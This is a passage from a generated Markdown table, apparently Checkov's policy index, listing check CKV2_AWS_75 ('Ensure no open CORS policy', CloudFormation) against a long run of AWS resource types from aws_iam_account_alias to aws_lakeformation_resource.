| | 862 | CKV2_AWS_75 | resource | aws_iam_account_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 863 | CKV2_AWS_75 | resource | aws_iam_account_password_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 864 | CKV2_AWS_75 | resource | aws_iam_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 865 | CKV2_AWS_75 | resource | aws_iam_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 866 | CKV2_AWS_75 | resource | aws_iam_group_policies_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 867 | CKV2_AWS_75 | resource | aws_iam_group_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 868 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 869 | CKV2_AWS_75 | resource | aws_iam_group_policy_attachments_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 870 | CKV2_AWS_75 | resource | aws_iam_instance_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 871 | CKV2_AWS_75 | resource | aws_iam_openid_connect_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 872 | CKV2_AWS_75 | resource | aws_iam_organizations_features | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 873 | CKV2_AWS_75 | resource | aws_iam_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 874 | CKV2_AWS_75 | resource | aws_iam_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 875 | CKV2_AWS_75 | resource | aws_iam_policy_document | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 876 | CKV2_AWS_75 | resource | aws_iam_role | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 877 | CKV2_AWS_75 | resource | aws_iam_role_policies_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 878 | CKV2_AWS_75 | resource | aws_iam_role_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 879 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 880 | CKV2_AWS_75 | resource | aws_iam_role_policy_attachments_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 881 | CKV2_AWS_75 | resource | aws_iam_saml_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 882 | CKV2_AWS_75 | resource | aws_iam_security_token_service_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 883 | CKV2_AWS_75 | resource | aws_iam_server_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 884 | CKV2_AWS_75 | resource | aws_iam_service_linked_role | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 885 | CKV2_AWS_75 | resource | aws_iam_service_specific_credential | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 886 | CKV2_AWS_75 | resource | aws_iam_signing_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 887 | CKV2_AWS_75 | resource | aws_iam_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 888 | CKV2_AWS_75 | resource | aws_iam_user_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 889 | CKV2_AWS_75 | resource | aws_iam_user_login_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 890 | CKV2_AWS_75 | resource | aws_iam_user_policies_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 891 | CKV2_AWS_75 | resource | aws_iam_user_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 892 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 893 | CKV2_AWS_75 | resource | aws_iam_user_policy_attachments_exclusive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 894 | CKV2_AWS_75 | resource | aws_iam_user_ssh_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 895 | CKV2_AWS_75 | resource | aws_iam_virtual_mfa_device | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 896 | CKV2_AWS_75 | resource | aws_identitystore_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 897 | CKV2_AWS_75 | resource | aws_identitystore_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 898 | CKV2_AWS_75 | resource | aws_identitystore_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 899 | CKV2_AWS_75 | resource | aws_imagebuilder_component | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 900 | CKV2_AWS_75 | resource | aws_imagebuilder_container_recipe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 901 | CKV2_AWS_75 | resource | aws_imagebuilder_distribution_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 902 | CKV2_AWS_75 | resource | aws_imagebuilder_image | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 903 | CKV2_AWS_75 | resource | aws_imagebuilder_image_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 904 | CKV2_AWS_75 | resource | aws_imagebuilder_image_recipe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 905 | CKV2_AWS_75 | resource | aws_imagebuilder_infrastructure_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 906 | CKV2_AWS_75 | resource | aws_imagebuilder_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 907 | CKV2_AWS_75 | resource | aws_imagebuilder_workflow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 908 | CKV2_AWS_75 | resource | aws_inspector2_delegated_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 909 | CKV2_AWS_75 | resource | aws_inspector2_enabler | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 910 | CKV2_AWS_75 | resource | aws_inspector2_member_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 911 | CKV2_AWS_75 | resource | aws_inspector2_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 912 | CKV2_AWS_75 | resource | aws_inspector_assessment_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 913 | CKV2_AWS_75 | resource | aws_inspector_assessment_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 914 | CKV2_AWS_75 | resource | aws_inspector_resource_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 915 | CKV2_AWS_75 | resource | aws_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 916 | CKV2_AWS_75 | resource | aws_internet_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 917 | CKV2_AWS_75 | resource | aws_internet_gateway_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 918 | CKV2_AWS_75 | resource | aws_internetmonitor_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 919 | CKV2_AWS_75 | resource | aws_iot_authorizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 920 | CKV2_AWS_75 | resource | aws_iot_billing_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 921 | CKV2_AWS_75 | resource | aws_iot_ca_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 922 | CKV2_AWS_75 | resource | aws_iot_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 923 | CKV2_AWS_75 | resource | aws_iot_domain_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 924 | CKV2_AWS_75 | resource | aws_iot_event_configurations | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 925 | CKV2_AWS_75 | resource | aws_iot_indexing_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 926 | CKV2_AWS_75 | resource | aws_iot_logging_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 927 | CKV2_AWS_75 | resource | aws_iot_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 928 | CKV2_AWS_75 | resource | aws_iot_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 929 | CKV2_AWS_75 | resource | aws_iot_provisioning_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 930 | CKV2_AWS_75 | resource | aws_iot_role_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 931 | CKV2_AWS_75 | resource | aws_iot_thing | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 932 | CKV2_AWS_75 | resource | aws_iot_thing_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 933 | CKV2_AWS_75 | resource | aws_iot_thing_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 934 | CKV2_AWS_75 | resource | aws_iot_thing_principal_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 935 | CKV2_AWS_75 | resource | aws_iot_thing_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 936 | CKV2_AWS_75 | resource | aws_iot_topic_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 937 | CKV2_AWS_75 | resource | aws_iot_topic_rule_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 938 | CKV2_AWS_75 | resource | aws_ivs_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 939 | CKV2_AWS_75 | resource | aws_ivs_playback_key_pair | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 940 | CKV2_AWS_75 | resource | aws_ivs_recording_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 941 | CKV2_AWS_75 | resource | aws_ivschat_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 942 | CKV2_AWS_75 | resource | aws_ivschat_room | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 943 | CKV2_AWS_75 | resource | aws_kendra_data_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 944 | CKV2_AWS_75 | resource | aws_kendra_experience | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 945 | CKV2_AWS_75 | resource | aws_kendra_faq | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 946 | CKV2_AWS_75 | resource | aws_kendra_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 947 | CKV2_AWS_75 | resource | aws_kendra_query_suggestions_block_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 948 | CKV2_AWS_75 | resource | aws_kendra_thesaurus | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 949 | CKV2_AWS_75 | resource | aws_key_pair | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 950 | CKV2_AWS_75 | resource | aws_keyspaces_keyspace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 951 | CKV2_AWS_75 | resource | aws_keyspaces_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 952 | CKV2_AWS_75 | resource | aws_kinesis_analytics_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 953 | CKV2_AWS_75 | resource | aws_kinesis_firehose_delivery_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 954 | CKV2_AWS_75 | resource | aws_kinesis_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 955 | CKV2_AWS_75 | resource | aws_kinesis_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 956 | CKV2_AWS_75 | resource | aws_kinesis_stream_consumer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 957 | CKV2_AWS_75 | resource | aws_kinesis_video_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 958 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 959 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 960 | CKV2_AWS_75 | resource | aws_kms_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 961 | CKV2_AWS_75 | resource | aws_kms_ciphertext | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 962 | CKV2_AWS_75 | resource | aws_kms_custom_key_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 963 | CKV2_AWS_75 | resource | aws_kms_external_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 964 | CKV2_AWS_75 | resource | aws_kms_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 965 | CKV2_AWS_75 | resource | aws_kms_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 966 | CKV2_AWS_75 | resource | aws_kms_key_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 967 | CKV2_AWS_75 | resource | aws_kms_replica_external_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 968 | CKV2_AWS_75 | resource | aws_kms_replica_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 969 | CKV2_AWS_75 | resource | aws_lakeformation_data_cells_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 970 | CKV2_AWS_75 | resource | aws_lakeformation_data_lake_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 971 | CKV2_AWS_75 | resource | aws_lakeformation_lf_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 972 | CKV2_AWS_75 | resource | aws_lakeformation_permissions | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 973 | CKV2_AWS_75 | resource | aws_lakeformation_resource | Ensure no open CORS policy | Cloudformation | 